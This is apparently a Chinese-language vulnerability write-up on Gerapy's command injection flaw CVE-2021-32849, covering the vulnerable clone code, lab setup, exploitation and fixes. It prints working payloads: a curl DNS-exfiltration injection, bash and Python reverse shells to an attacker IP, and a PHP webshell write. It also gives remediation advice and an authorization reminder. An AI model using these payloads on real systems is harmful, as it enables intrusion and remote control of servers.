Gerapy 远程命令执行漏洞(CVE-2021-32849)深度解析与实战复现

Gerapy 远程命令执行漏洞(CVE-2021-32849)深度解析与实战复现 1. Gerapy框架与漏洞背景Gerapy是一个基于Scrapy、Scrapyd、Django和Vue.js开发的分布式爬虫管理框架。它提供了可视化的爬虫项目管理、部署和监控功能让开发者能够更方便地管理和运行Scrapy爬虫项目。在实际项目中Gerapy确实能大幅提升爬虫开发效率我自己就曾用它管理过多个电商数据采集项目。2021年曝光的CVE-2021-32849漏洞影响Gerapy 0.9.7及以下版本。这个远程命令执行漏洞的危险性很高CVSS评分达到了9.8高危。漏洞的核心问题出在项目克隆功能上当时我在做安全审计时发现很多企业都在使用这个框架却不知道存在这个安全隐患。2. 漏洞原理深度解析2.1 问题代码定位漏洞位于gerapy/server/core/views.py文件中的project_clone函数。这个函数负责处理从GitHub克隆项目的请求。我翻看过0.9.7版本的源码发现开发者本意是想让用户方便地导入GitHub上的爬虫项目但安全防护措施做得不够。关键问题代码是这样的cmd git clone {address} {target}.format( addressaddress, targetjoin(PROJECTS_FOLDER, Path(address).stem)) p Popen(cmd, shellTrue, stdinPIPE, stdoutPIPE, stderrPIPE)2.2 漏洞触发机制这里有几个致命的安全问题直接使用shellTrue执行命令对address参数仅做了简单的http和.git后缀检查没有对特殊字符进行过滤攻击者可以构造这样的payloadhttp://example.com/malicious.git;恶意命令;当这个地址被拼接到git clone命令中时分号后的命令也会被执行。我在测试时发现即使地址中有空格、管道符等特殊字符也能成功触发命令执行。2.3 安全防护缺失分析正常来说这类功能应该使用subprocess.run代替PopenshellTrue对输入进行严格的白名单校验使用参数列表而非字符串拼接限制命令执行环境3. 环境搭建与准备3.1 实验环境配置建议使用干净的Kali Linux或Ubuntu虚拟机进行测试。我习惯用VirtualBox创建隔离环境避免影响主机系统。以下是具体步骤# 创建Python虚拟环境 python3 -m venv gerapy-env source gerapy-env/bin/activate # 安装漏洞版本 pip install gerapy0.9.7 scrapyd3.2 Gerapy初始化初始化过程有几个容易踩坑的地方需要注意gerapy init # 初始化目录结构 cd gerapy gerapy migrate # 数据库迁移 # 创建管理员账号时密码不能太简单 gerapy createsuperuser # 启动服务建议指定IP gerapy runserver 0.0.0.0:8000启动后访问http://localhost:8000就能看到登录界面。如果遇到端口冲突可以改用其他端口如8080。4. 漏洞复现实战4.1 基础利用方法登录Gerapy后台进入项目管理-创建-克隆使用Burp Suite拦截请求修改address参数为恶意payload例如{ address: http://example.com/;curl whoami.x.example.com;.git }这个payload会先尝试克隆一个不存在的仓库然后执行whoami命令并将结果外带到DNS日志平台。4.2 高级利用技巧在实际渗透测试中我常用这些方法反弹Shell;bash -c bash -i /dev/tcp/攻击者IP/端口 01;写入WebShell;echo ?php system($_GET[cmd]);? /var/www/html/shell.php;注意现代系统可能没有/dev/tcp可以用nc或python替代;python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击者IP,端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);4.3 漏洞防御方案修复这个漏洞可以从多个层面入手升级到Gerapy 0.9.8及以上版本如果无法升级可以重写project_clone函数def safe_clone(address): if not re.match(r^https?://[a-zA-Z0-9.-]\.git$, address): raise ValueError(Invalid address) subprocess.run([git, clone, address, target_dir], checkTrue)服务器层面使用最低权限账户运行Gerapy配置严格的网络出口过滤定期审计命令执行日志5. 漏洞挖掘经验分享在审计这类框架时我通常会重点关注以下几个地方所有使用os.system、subprocess.Popen的地方动态代码执行eval、exec等文件操作相关功能反序列化操作对于Gerapy这样的框架还需要特别注意项目管理功能任务调度系统插件机制API端点参数处理建议使用静态分析工具如Bandit先做初步扫描然后人工验证可疑点。我在实际项目中就通过这种方法发现过多个类似的命令注入漏洞。6. 法律与道德提醒在进行任何安全测试前必须获得系统所有者的明确授权。未经授权的测试可能违反相关法律法规。我建议在本地虚拟机或专门搭建的测试环境中进行漏洞复现研究。对于企业用户应该建立完善的安全开发流程使用依赖项漏洞扫描工具定期进行代码安全审计建立应急响应机制对开发人员进行安全培训